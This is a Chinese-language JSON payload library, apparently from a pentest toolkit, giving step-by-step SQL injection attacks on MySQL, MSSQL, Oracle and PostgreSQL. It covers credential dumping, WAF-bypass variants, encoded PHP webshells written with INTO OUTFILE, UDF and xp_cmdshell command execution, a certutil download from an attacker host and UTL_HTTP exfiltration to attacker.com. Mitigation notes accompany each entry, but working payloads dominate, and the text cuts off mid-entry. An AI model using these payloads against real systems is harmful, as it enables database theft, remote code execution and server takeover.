[ { "id": "sqli-mysql-basic", "name": "MySQL注入 - 基础探测", "description": "MySQL数据库注入基础探测与数据提取技术", "category": "SQL/NoSQL注入", "subCategory": "MySQL", "tags": [ "sqli", "mysql", "injection", "database" ], "prerequisites": [ "目标存在SQL注入点", "后端数据库为MySQL", "了解基本SQL语法" ], "execution": [ { "title": "1. 探测注入点", "command": "' OR '1'='1\n' OR 1=1--\n1' AND '1'='1\n1' AND '1'='2", "description": "使用单引号和布尔条件探测是否存在注入点", "platform": "all", "syntaxBreakdown": [ { "part": "OR '1'='1'", "explanation": "逻辑永真", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "2. 确定列数", "command": "' ORDER BY 1--\n' ORDER BY 2--\n' ORDER BY 3--\n直到报错确定列数\n或使用:\n' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--", "description": "使用ORDER BY或UNION SELECT NULL确定查询列数", "platform": "all", "syntaxBreakdown": [ { "part": "ORDER BY", "explanation": "按指定列排序", "type": "value" }, { "part": "NULL", "explanation": "空值占位符", "type": "keyword" } ] }, { "title": "3. 确定显示位置", "command": "' UNION SELECT 1,2,3--\n' UNION SELECT 'a','b','c'--", "description": "找出哪些列会显示在页面上", "platform": "all", "syntaxBreakdown": [ { "part": "UNION SELECT", "explanation": "联合查询，合并结果集", "type": "value" }, { "part": "1,2,3", "explanation": "数字标记显示位置", "type": "value" } ] }, { "title": "4. 获取数据库信息", "command": "' UNION SELECT 1,database(),3--\n' UNION SELECT 1,user(),3--\n' UNION SELECT 1,version(),3--\n' UNION SELECT 1,@@hostname,3--", "description": "获取当前数据库名、用户、版本等基础信息", "platform": "all", "syntaxBreakdown": [ { "part": "database()", "explanation": "返回当前数据库名", "type": "function" }, { "part": "user()", "explanation": "返回当前用户", "type": "function" }, { "part": "version()", "explanation": "返回MySQL版本", "type": "function" } ] }, { "title": "5. 枚举所有数据库", "command": "' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--\n' UNION SELECT schema_name,2,3 FROM information_schema.schemata LIMIT 0,1--", "description": "获取MySQL服务器上所有数据库名", "platform": "all", "syntaxBreakdown": [ { "part": "information_schema", "explanation": "MySQL系统数据库，存储元数据", "type": "keyword" }, { "part": "schemata", "explanation": "存储所有数据库名的表", "type": "value" }, { "part": "group_concat()", "explanation": "将多行合并为一行", "type": "function" } ] }, { "title": "6. 枚举表名", "command": "' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--\n' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema='target_db' LIMIT 0,1--", "description": "获取指定数据库中的所有表名", "platform": "all", "syntaxBreakdown": [ { "part": "information_schema.tables", "explanation": "存储所有表信息的系统表", "type": "value" }, { "part": "table_schema", "explanation": "表所属的数据库名", "type": "value" }, { "part": "table_name", "explanation": "表名", "type": "value" } ] }, { "title": "7. 枚举列名", "command": "' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--\n' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database() LIMIT 0,1--", "description": "获取指定表的所有列名", "platform": "all", "syntaxBreakdown": [ { "part": "information_schema.columns", "explanation": "存储所有列信息的系统表", "type": "value" }, { "part": "column_name", "explanation": "列名", "type": "value" } ] }, { "title": "8. 提取数据", "command": "' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--\n' UNION SELECT username,password,3 FROM users LIMIT 0,1--", "description": "从目标表中提取敏感数据", "platform": "all", "syntaxBreakdown": [ { "part": "0x3a", "explanation": "冒号的十六进制，用于分隔符", "type": "encoding" }, { "part": "LIMIT 0,1", "explanation": "限制返回第一行结果", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "大小写混淆", "command": "' UnIoN SeLeCt 1,database(),3--\n' uNiOn SeLeCt 1,user(),3--", "description": "使用大小写混合绕过关键字过滤", "platform": "all", "syntaxBreakdown": [ { "part": "UnIoN SeLeCt", "explanation": "混合大小写绕过简单关键字匹配", "type": "value" } ] }, { "title": "内联注释", "command": "' /*!UNION*/ /*!SELECT*/ 1,database(),3--\n' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--", "description": "使用MySQL特有内联注释绕过", "platform": "all", "syntaxBreakdown": [ { "part": "/*!UNION*/", "explanation": "MySQL会执行注释内的SQL", "type": "value" }, { "part": "/*!50000", "explanation": "指定MySQL版本5.00.00以上执行", "type": "value" } ] }, { "title": "双写绕过", "command": "' UNUNIONION SELSELECTECT 1,database(),3--\n' UNIunionON SELselectECT 1,2,3--", "description": "双写关键字绕过替换过滤", "platform": "all", "syntaxBreakdown": [ { "part": "UNUNIONION", "explanation": "WAF删除UNION后变成UNION", "type": "value" }, { "part": "SELSELECTECT", "explanation": "WAF删除SELECT后变成SELECT", "type": "value" } ] }, { "title": "空格替代", "command": "'/**/UNION/**/SELECT/**/1,database(),3--\n' %0aUNION%0aSELECT%0a1,2,3--\n'(UNION(SELECT(1),(database()),(3)))--", "description": "使用注释、换行、括号替代空格", "platform": "all", "syntaxBreakdown": [ { "part": "/**/", "explanation": "注释替代空格", "type": "operator" }, { "part": "%0a", "explanation": "换行符URL编码", "type": "encoding" }, { "part": "()", "explanation": "括号包裹替代空格", "type": "value" } ] }, { "title": "编码绕过", "command": "' UNION SELECT 1,hex(database()),3--\n' UNION SELECT 1,unhex(hex(database())),3--\n' UNION SELECT 1,conv(hex(database()),16,10),3--", "description": "使用编码函数绕过关键字检测", "platform": "all", "syntaxBreakdown": [ { "part": "hex()", "explanation": "十六进制编码", "type": "function" }, { "part": "unhex()", "explanation": "十六进制解码", "type": "function" }, { "part": "conv()", "explanation": "进制转换", "type": "function" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "MySQL注入是最常见的数据库注入类型，通过构造恶意SQL语句获取或修改数据库数据。攻击者可以利用注入漏洞读取敏感数据、写入WebShell甚至执行系统命令。", "vulnerability": "应用程序未对用户输入进行充分过滤，直接拼接到SQL语句中执行。常见于搜索框、登录表单、URL参数等输入点。", "exploitation": "完整利用流程：\n1. 探测注入点：使用单引号、布尔条件确认是否存在注入\n2. 确定列数：使用ORDER BY或UNION SELECT NULL\n3. 确定显示位置：找出哪些列会回显到页面\n4. 获取数据库信息：database()、user()、version()\n5. 枚举数据库结构：information_schema库\n6. 提取敏感数据：用户名、密码等\n7. 尝试提权：文件读写、UDF提权", "mitigation": "防御措施：\n1. 使用参数化查询(PDO、预处理语句)\n2. 输入验证和白名单过滤\n3. 最小权限原则，限制数据库用户权限\n4. 禁用或限制FILE权限\n5. 设置secure_file_priv为NULL\n6. 部署WAF防护\n7. 错误信息不泄露数据库详情" } }, { "id": "sqli-mysql-advanced", "name": "MySQL注入 - 高级技术", "description": "MySQL高级注入技术：文件读写、UDF提权、命令执行", "category": "SQL/NoSQL注入", "subCategory": "MySQL", "tags": [ "sqli", "mysql", "advanced", "file-read", "rce" ], "prerequisites": [ "MySQL用户具有FILE权限", "知道网站绝对路径", "secure_file_priv配置允许" ], "execution": [ { "title": "1. 检测FILE权限", "command": "' UNION SELECT 1,file_priv,3 FROM mysql.user WHERE user=current_user()--\n' AND (SELECT file_priv FROM mysql.user WHERE user=current_user())='Y'--", "description": "检测当前用户是否有FILE权限", "platform": "all", "syntaxBreakdown": [ { "part": "mysql.user", "explanation": "MySQL用户权限表", "type": "value" }, { "part": "file_priv", "explanation": "FILE权限字段", "type": "value" }, { "part": "current_user()", "explanation": "返回当前用户", "type": "function" } ] }, { "title": "2. 获取网站路径", "command": "' UNION SELECT 1,@@basedir,3--\n' UNION SELECT 1,@@datadir,3--\n' UNION SELECT 1,load_file('/etc/passwd'),3--", "description": "通过错误信息或读取文件获取网站路径", "platform": "all", "syntaxBreakdown": [ { "part": "@@basedir", "explanation": "MySQL安装目录", "type": "value" }, { "part": "@@datadir", "explanation": "MySQL数据目录", "type": "value" } ] }, { "title": "3. 读取敏感文件", "command": "' UNION SELECT 1,load_file('/etc/passwd'),3--\n' UNION SELECT 1,load_file('/var/www/html/config.php'),3--\n' UNION SELECT 1,load_file('C:/windows/win.ini'),3--", "description": "使用load_file读取系统敏感文件", "platform": "all", "syntaxBreakdown": [ { "part": "load_file()", "explanation": "MySQL读取文件函数", "type": "function" }, { "part": "/etc/passwd", "explanation": "Linux用户信息文件", "type": "path" } ] }, { "title": "4. 写入WebShell", "command": "' UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/shell.php'--\n' UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/cmd.php'--", "description": "使用INTO OUTFILE写入WebShell", "platform": "linux", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "INTO OUTFILE", "explanation": "写入文件", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "system()", "explanation": "系统命令执行", "type": "function" }, { "part": "eval()", "explanation": "代码执行", "type": "function" } ] }, { "title": "5. 日志写Shell", "command": "SET GLOBAL general_log='ON';\nSET GLOBAL general_log_file='/var/www/html/shell.php';\nSELECT '';", "description": "通过开启general_log写入Shell", "platform": "linux", "syntaxBreakdown": [ { "part": "general_log", "explanation": "MySQL通用查询日志开关", "type": "value" }, { "part": "general_log_file", "explanation": "日志文件路径", "type": "value" } ] }, { "title": "6. UDF提权", "command": "SELECT load_file('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';\nCREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';\nSELECT sys_eval('id');", "description": "使用UDF提权执行系统命令", "platform": "linux", "syntaxBreakdown": [ { "part": "INTO DUMPFILE", "explanation": "写入二进制文件", "type": "keyword" }, { "part": "CREATE FUNCTION", "explanation": "创建自定义函数", "type": "value" }, { "part": "sys_eval", "explanation": "执行系统命令的UDF函数", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "Hex编码写入", "command": "' UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,3 INTO DUMPFILE '/var/www/html/shell.php'--", "description": "使用十六进制编码绕过关键字检测", "platform": "linux", "syntaxBreakdown": [ { "part": "0x3c3f706870...", "explanation": "PHP一句话的十六进制编码", "type": "value" }, { "part": "INTO DUMPFILE", "explanation": "写入二进制文件", "type": "keyword" } ] }, { "title": "Char编码绕过", "command": "' UNION SELECT 1,CHAR(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62),3 INTO OUTFILE '/var/www/html/s.php'--", "description": "使用CHAR函数编码绕过", "platform": "linux", "syntaxBreakdown": [ { "part": "CHAR(60,63...)", "explanation": "使用ASCII码值构造字符串", "type": "value" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "MySQL高级注入技术可以实现文件读取、WebShell写入甚至系统命令执行。这些技术需要较高的数据库权限和特定的配置条件。", "vulnerability": "MySQL的FILE权限允许读写文件，配合secure_file_priv配置不当可导致严重后果。UDF提权可以执行任意系统命令。", "exploitation": "完整利用流程：\n1. 检测FILE权限和secure_file_priv配置\n2. 获取网站绝对路径\n3. 使用load_file读取敏感配置\n4. 使用INTO OUTFILE写入WebShell\n5. 如果OUTFILE被禁，使用日志写Shell\n6. 尝试UDF提权获取系统Shell", "mitigation": "防御措施：\n1. 限制FILE权限，不给Web应用用户\n2. 设置secure_file_priv=NULL禁止文件操作\n3. 禁用INTO OUTFILE和INTO DUMPFILE\n4. 使用AppArmor/SELinux限制MySQL文件访问\n5. 监控异常的文件读写操作" } }, { "id": "sqli-mssql-basic", "name": "MSSQL注入 - 基础探测", "description": "Microsoft SQL Server数据库注入技术", "category": "SQL/NoSQL注入", "subCategory": "MSSQL", "tags": [ "sqli", "mssql", "sqlserver", "injection" ], "prerequisites": [ "目标存在SQL注入点", "后端使用MSSQL数据库" ], "execution": [ { "title": "1. 探测注入点", "command": "' OR 1=1--\n' OR '1'='1\n1' AND 1=1--\n1' AND 1=2--", "description": "基础注入探测", "platform": "all", "syntaxBreakdown": [ { "part": "--", "explanation": "MSSQL单行注释符", "type": "operator" }, { "part": "OR 1=1", "explanation": "永真条件", "type": "value" } ] }, { "title": "2. 获取版本信息", "command": "' UNION SELECT 1,@@version,3--\n' UNION SELECT 1,SERVERPROPERTY('Edition'),3--\n' UNION SELECT 1,SERVERPROPERTY('ProductVersion'),3--", "description": "获取MSSQL版本信息", "platform": "all", "syntaxBreakdown": [ { "part": "@@version", "explanation": "返回SQL Server版本", "type": "value" }, { "part": "SERVERPROPERTY()", "explanation": "返回服务器属性信息", "type": "function" } ] }, { "title": "3. 获取用户信息", "command": "' UNION SELECT 1,user_name(),3--\n' UNION SELECT 1,suser_name(),3--\n' UNION SELECT 1,system_user,3--\n' UNION SELECT 1,is_srvrolemember('sysadmin'),3--", "description": "获取当前用户及权限信息", "platform": "all", "syntaxBreakdown": [ { "part": "user_name()", "explanation": "返回当前数据库用户", "type": "function" }, { "part": "suser_name()", "explanation": "返回登录名", "type": "function" }, { "part": "is_srvrolemember()", "explanation": "检查是否属于服务器角色", "type": "function" } ] }, { "title": "4. 获取数据库信息", "command": "' UNION SELECT 1,db_name(),3--\n' UNION SELECT 1,db_name(0),3--\n' UNION SELECT 1,db_name(1),3--\n' UNION SELECT name,2,3 FROM master..sysdatabases--", "description": "获取所有数据库名", "platform": "all", "syntaxBreakdown": [ { "part": "db_name()", "explanation": "返回当前数据库名", "type": "function" }, { "part": "db_name(N)", "explanation": "返回第N个数据库名", "type": "value" }, { "part": "master..sysdatabases", "explanation": "系统数据库，存储所有库信息", "type": "value" } ] }, { "title": "5. 获取表名", "command": "' UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'--\n' UNION SELECT 1,name,3 FROM sys.tables--\n' UNION SELECT 1,table_name,3 FROM information_schema.tables--", "description": "获取用户表名", "platform": "all", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "WHERE", "explanation": "条件筛选", "type": "keyword" }, { "part": "information_schema", "explanation": "元数据库", "type": "value" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "6. 获取列名", "command": "' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')--\n' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--", "description": "获取指定表的列名", "platform": "all", "syntaxBreakdown": [ { "part": "syscolumns", "explanation": "系统列信息表", "type": "value" }, { "part": "information_schema.columns", "explanation": "标准信息模式视图", "type": "value" } ] }, { "title": "7. 提取数据", "command": "' UNION SELECT 1,username+':'+password,3 FROM users--\n' UNION SELECT TOP 1 username,password,3 FROM users--", "description": "提取表中的数据", "platform": "all", "syntaxBreakdown": [ { "part": "+", "explanation": "MSSQL字符串连接符", "type": "operator" }, { "part": "TOP 1", "explanation": "返回第一条记录", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "Hex编码", "command": "' UNION SELECT 1,master.dbo.fn_varbintohexstr(CAST(username AS VARBINARY)),3 FROM users--", "description": "使用Hex编码绕过", "platform": "all", "syntaxBreakdown": [ { "part": "fn_varbintohexstr()", "explanation": "转换为十六进制字符串", "type": "function" } ] }, { "title": "注释绕过", "command": "'/**/UNION/**/SELECT/**/1,2,3--\n' UN%00ION SELECT 1,2,3--", "description": "使用注释和空字节绕过", "platform": "all", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "/*...*/", "explanation": "内联注释", "type": "operator" }, { "part": "%xx", "explanation": "URL编码", "type": "encoding" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "MSSQL注入与MySQL类似，但语法和系统表有所不同。MSSQL提供了更多强大的存储过程，可以执行系统命令。", "vulnerability": "应用程序未对用户输入进行充分过滤，直接拼接到SQL语句中执行。MSSQL特有的存储过程增加了攻击面。", "exploitation": "完整利用流程：\n1. 探测注入点类型\n2. 获取版本和用户信息\n3. 枚举数据库结构\n4. 提取敏感数据\n5. 尝试使用xp_cmdshell执行命令", "mitigation": "防御措施：\n1. 使用参数化查询\n2. 最小权限原则\n3. 禁用xp_cmdshell等危险存储过程\n4. 使用存储过程封装业务逻辑" } }, { "id": "sqli-mssql-advanced", "name": "MSSQL注入 - 高级技术", "description": "MSSQL高级注入：xp_cmdshell、SP_OACREATE命令执行", "category": "SQL/NoSQL注入", "subCategory": "MSSQL", "tags": [ "sqli", "mssql", "xp_cmdshell", "rce" ], "prerequisites": [ "MSSQL具有高权限", "xp_cmdshell可用或可开启" ], "execution": [ { "title": "1. 检测xp_cmdshell状态", "command": "' UNION SELECT 1,OBJECT_ID('xp_cmdshell'),3--\n'; EXEC master..xp_cmdshell 'whoami'--", "description": "检测xp_cmdshell是否可用", "platform": "windows", "syntaxBreakdown": [ { "part": "OBJECT_ID()", "explanation": "检查对象是否存在", "type": "function" }, { "part": "xp_cmdshell", "explanation": "执行系统命令的扩展存储过程", "type": "keyword" } ] }, { "title": "2. 开启xp_cmdshell", "command": "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--", "description": "如果xp_cmdshell被禁用，尝试开启", "platform": "windows", "syntaxBreakdown": [ { "part": "xp_cmdshell", "explanation": "系统命令执行", "type": "function" }, { "part": "EXEC", "explanation": "执行存储过程", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "3. 执行系统命令", "command": "'; EXEC master..xp_cmdshell 'whoami'--\n'; EXEC master..xp_cmdshell 'net user'--\n'; EXEC master..xp_cmdshell 'dir C:'--", "description": "使用xp_cmdshell执行系统命令", "platform": "windows", "syntaxBreakdown": [ { "part": "master..xp_cmdshell", "explanation": "调用master数据库中的xp_cmdshell", "type": "value" } ] }, { "title": "4. 写入WebShell", "command": "'; EXEC master..xp_cmdshell 'echo ^<%execute(request(\"cmd\"))^> > C:\\inetpub\\wwwroot\\shell.asp'--\n'; EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://attacker/shell.aspx C:\\inetpub\\wwwroot\\shell.aspx'--", "description": "写入或下载WebShell", "platform": "windows", "syntaxBreakdown": [ { "part": "echo", "explanation": "写入文件内容", "type": "command" }, { "part": "certutil", "explanation": "Windows内置下载工具", "type": "value" } ] }, { "title": "5. SP_OACREATE方法", "command": "'; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;\nDECLARE @shell INT;\nEXEC SP_OACREATE 'wscript.shell', @shell OUTPUT;\nEXEC SP_OAMETHOD @shell, 'run', NULL, 'cmd /c whoami > C:\\output.txt';--", "description": "使用SP_OACREATE执行命令", "platform": "windows", "syntaxBreakdown": [ { "part": "SP_OACREATE", "explanation": "创建OLE自动化对象", "type": "keyword" }, { "part": "wscript.shell", "explanation": "Windows脚本宿主对象", "type": "value" }, { "part": "SP_OAMETHOD", "explanation": "调用对象方法", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "堆叠查询", "command": "'; EXEC('EXEC master..xp_cmdshell ''whoami''')--\n'; DECLARE @cmd VARCHAR(255); SET @cmd='whoami'; EXEC master..xp_cmdshell @cmd;--", "description": "使用动态SQL绕过", "platform": "windows", "syntaxBreakdown": [ { "part": "EXEC()", "explanation": "执行动态SQL", "type": "function" }, { "part": "DECLARE", "explanation": "声明变量", "type": "keyword" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "MSSQL高级注入利用xp_cmdshell和SP_OACREATE等存储过程可以执行系统命令，实现完全控制服务器。", "vulnerability": "MSSQL高级注入利用数据库特有功能如xp_cmdshell存储过程执行系统命令、OPENROWSET进行带外数据外泄、利用堆叠查询执行多条SQL语句。MSSQL的错误信息通常较为详细，可通过错误注入提取数据库版本、表结构等敏感信息。", "exploitation": "完整利用流程：\n1. 检测当前用户权限\n2. 尝试开启xp_cmdshell\n3. 执行系统命令\n4. 写入WebShell或添加用户\n5. 如果xp_cmdshell被禁，尝试SP_OACREATE", "mitigation": "防御措施：\n1. 禁用xp_cmdshell和Ole Automation Procedures\n2. 使用最小权限账户\n3. 使用存储过程封装业务逻辑\n4. 部署WAF防护" } }, { "id": "sqli-oracle-basic", "name": "Oracle注入 - 基础探测", "description": "Oracle数据库注入基础技术", "category": "SQL/NoSQL注入", "subCategory": "Oracle", "tags": [ "sqli", "oracle", "injection" ], "prerequisites": [ "目标存在SQL注入点", "后端使用Oracle数据库" ], "execution": [ { "title": "1. 探测注入点", "command": "' OR 1=1--\n' OR '1'='1\n' UNION SELECT NULL,NULL,NULL FROM DUAL--", "description": "探测注入点类型", "platform": "all", "syntaxBreakdown": [ { "part": "FROM DUAL", "explanation": "Oracle虚拟表，SELECT必须有FROM", "type": "value" }, { "part": "NULL,NULL,NULL", "explanation": "探测列数", "type": "value" } ] }, { "title": "2. 获取版本信息", "command": "' UNION SELECT banner,NULL FROM v$version WHERE rownum=1--\n' UNION SELECT version,NULL FROM v$instance--", "description": "获取Oracle版本", "platform": "all", "syntaxBreakdown": [ { "part": "v$version", "explanation": "Oracle版本信息视图", "type": "value" }, { "part": "v$instance", "explanation": "实例信息视图", "type": "value" }, { "part": "rownum=1", "explanation": "限制返回一行", "type": "value" } ] }, { "title": "3. 获取用户信息", "command": "' UNION SELECT username,NULL FROM all_users--\n' UNION SELECT user,NULL FROM DUAL--\n' UNION SELECT SYS_CONTEXT('USERENV','SESSION_USER'),NULL FROM DUAL--", "description": "获取数据库用户", "platform": "all", "syntaxBreakdown": [ { "part": "all_users", "explanation": "所有用户视图", "type": "value" }, { "part": "user", "explanation": "当前用户", "type": "value" }, { "part": "SYS_CONTEXT", "explanation": "获取会话上下文信息", "type": "value" } ] }, { "title": "4. 获取表名", "command": "' UNION SELECT table_name,NULL FROM all_tables WHERE owner='SCOTT'--\n' UNION SELECT owner||'.'||table_name,NULL FROM all_tables--", "description": "获取表名", "platform": "all", "syntaxBreakdown": [ { "part": "all_tables", "explanation": "所有表视图", "type": "value" }, { "part": "owner", "explanation": "表所属用户", "type": "value" }, { "part": "||", "explanation": "Oracle字符串连接符", "type": "operator" } ] }, { "title": "5. 获取列名", "command": "' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS'--\n' UNION SELECT column_name||':'||data_type,NULL FROM all_tab_columns WHERE table_name='USERS'--", "description": "获取列名和数据类型", "platform": "all", "syntaxBreakdown": [ { "part": "all_tab_columns", "explanation": "所有列信息视图", "type": "value" }, { "part": "data_type", "explanation": "列数据类型", "type": "value" } ] }, { "title": "6. 提取数据", "command": "' UNION SELECT username||':'||password,NULL FROM users--\n' UNION SELECT * FROM (SELECT username,password FROM users) WHERE rownum<=1--", "description": "提取表数据", "platform": "all", "syntaxBreakdown": [ { "part": "rownum<=1", "explanation": "Oracle分页方式", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "UTL_HTTP外带", "command": "' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)),NULL FROM DUAL--", "description": "使用UTL_HTTP外带数据", "platform": "all", "syntaxBreakdown": [ { "part": "UTL_HTTP.REQUEST()", "explanation": "发起HTTP请求", "type": "function" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "Oracle数据库注入需要掌握特有的语法和系统视图。Oracle提供了丰富的内置包可以实现更多功能。", "vulnerability": "Oracle数据库注入的特殊性在于其严格的语法要求：SELECT必须带FROM子句(可用dual伪表)、字符串连接使用||运算符、注释使用--而非#。Oracle的数据字典(all_tables/all_tab_columns)是信息枚举的关键入口。", "exploitation": "完整利用流程：\n1. 探测注入点和列数\n2. 获取数据库版本和用户\n3. 枚举表和列\n4. 提取敏感数据\n5. 尝试使用UTL_HTTP等包外带数据", "mitigation": "防御措施：\n1. 使用参数化查询\n2. 最小权限原则\n3. 禁用危险包如UTL_HTTP\n4. 使用DBMS_ASSERT验证输入" } }, { "id": "sqli-oracle-advanced", "name": "Oracle注入 - 高级技术", "description": "Oracle高级注入技术：Java存储过程、UTL_FILE文件操作", "category": "SQL/NoSQL注入", "subCategory": "Oracle", "tags": [ "sqli", "oracle", "advanced", "rce" ], "prerequisites": [ "Oracle高权限", "Java虚拟机可用" ], "execution": [ { "title": "1. 检测Java权限", "command": "' UNION SELECT 1,CASE WHEN DBMS_JAVA.TEST_OUTPUT('test') IS NOT NULL THEN 'YES' ELSE 'NO' END FROM DUAL--", "description": "检测Java存储过程是否可用", "platform": "all", "syntaxBreakdown": [ { "part": "DBMS_JAVA", "explanation": "Oracle Java包", "type": "value" }, { "part": "TEST_OUTPUT", "explanation": "测试Java功能", "type": "value" } ] }, { "title": "2. 创建Java执行函数", "command": "' UNION SELECT 1,(SELECT DBMS_JAVA.RUNJAVA('java.lang.Runtime.exec(\"cmd /c whoami\")') FROM DUAL)--", "description": "使用Java执行系统命令", "platform": "all", "syntaxBreakdown": [ { "part": "DBMS_JAVA.RUNJAVA", "explanation": "执行Java代码", "type": "value" }, { "part": "Runtime.exec", "explanation": "Java执行系统命令", "type": "value" } ] }, { "title": "3. UTL_FILE读取文件", "command": "' UNION SELECT 1,UTL_FILE.FGETATTR('DATA_PUMP_DIR','/etc/passwd','file_exists') FROM DUAL--", "description": "使用UTL_FILE操作文件", "platform": "all", "syntaxBreakdown": [ { "part": "UTL_FILE", "explanation": "Oracle文件操作包", "type": "value" }, { "part": "DATA_PUMP_DIR", "explanation": "Oracle目录对象", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "Oracle特有函数绕过", "command": "' UNION SELECT 1,XMLType(''||CHR(60)||'data'||CHR(62)||user||'') FROM DUAL--\n' UNION SELECT 1,DBMS_PIPE.PACK_MESSAGE(user)||DBMS_PIPE.SEND_MESSAGE('pipe1') FROM DUAL--\n' UNION SELECT 1,CASE WHEN (SELECT user FROM DUAL)='SYS' THEN 'admin' ELSE 'user' END FROM DUAL--", "description": "使用Oracle XMLType、DBMS_PIPE、CASE表达式等特有函数绕过WAF关键字检测", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "CASE WHEN", "explanation": "条件表达式", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "Oracle注释与编码绕过", "command": "' UNION/**/SELECT/**/1,user/**/FROM/**/DUAL--\n' UNION SELECT 1,CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78) FROM DUAL--\n' UNION SELECT 1,RAWTOHEX(user) FROM DUAL--\n' UNION SELECT 1,UTL_RAW.CAST_TO_VARCHAR2(UTL_ENCODE.BASE64_ENCODE(UTL_RAW.CAST_TO_RAW(user))) FROM DUAL--", "description": "使用注释符替代空格、CHR()编码字符串、RAWTOHEX/UTL_ENCODE进行数据编码绕过", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "HEX()", "explanation": "十六进制编码", "type": "encoding" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "/*...*/", "explanation": "内联注释", "type": "operator" }, { "part": "base64", "explanation": "Base64编码", "type": "encoding" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "Oracle高级注入技术利用PL/SQL块、UTL_HTTP进行带外通信、DBMS_PIPE实现延时注入、XMLType进行报错注入等Oracle特有功能进行深度利用。", "vulnerability": "Oracle高级漏洞包括：通过UTL_HTTP/UTL_INADDR进行DNS带外数据外泄，利用DBMS_XMLGEN构造报错回显，PL/SQL注入绕过单语句限制，以及Java存储过程提权执行系统命令。", "exploitation": "完整利用流程：\n1. 检测Java权限\n2. 使用DBMS_JAVA执行命令\n3. 或使用UTL_FILE读写文件", "mitigation": "防御Oracle高级注入需要：限制数据库用户权限(撤销UTL_HTTP、DBMS_XMLGEN等包的EXECUTE权限)，启用Oracle审计功能，使用绑定变量而非字符串拼接，配置网络ACL限制出站连接。" } }, { "id": "sqli-postgres-basic", "name": "PostgreSQL注入 - 基础探测", "description": "PostgreSQL数据库注入技术", "category": "SQL/NoSQL注入", "subCategory": "PostgreSQL", "tags": [ "sqli", "postgresql", "postgres", "injection" ], "prerequisites": [ "目标存在SQL注入点", "后端使用PostgreSQL" ], "execution": [ { "title": "1. 探测注入点", "command": "' OR 1=1--\n' OR '1'='1\n' UNION SELECT NULL,NULL,NULL--", "description": "探测注入点", "platform": "all", "syntaxBreakdown": [ { "part": "--", "explanation": "PostgreSQL注释符", "type": "operator" } ] }, { "title": "2. 获取版本信息", "command": "' UNION SELECT version(),NULL--\n' UNION SELECT current_database(),NULL--\n' UNION SELECT current_user,NULL--", "description": "获取数据库信息", "platform": "all", "syntaxBreakdown": [ { "part": "version()", "explanation": "PostgreSQL版本", "type": "function" }, { "part": "current_database()", "explanation": "当前数据库", "type": "function" }, { "part": "current_user", "explanation": "当前用户", "type": "value" } ] }, { "title": "3. 获取表名", "command": "' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='public'--", "description": "获取public模式下的表", "platform": "all", "syntaxBreakdown": [ { "part": "information_schema.tables", "explanation": "标准表信息视图", "type": "value" }, { "part": "table_schema", "explanation": "模式名，public是默认模式", "type": "value" } ] }, { "title": "4. 获取列名", "command": "' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--", "description": 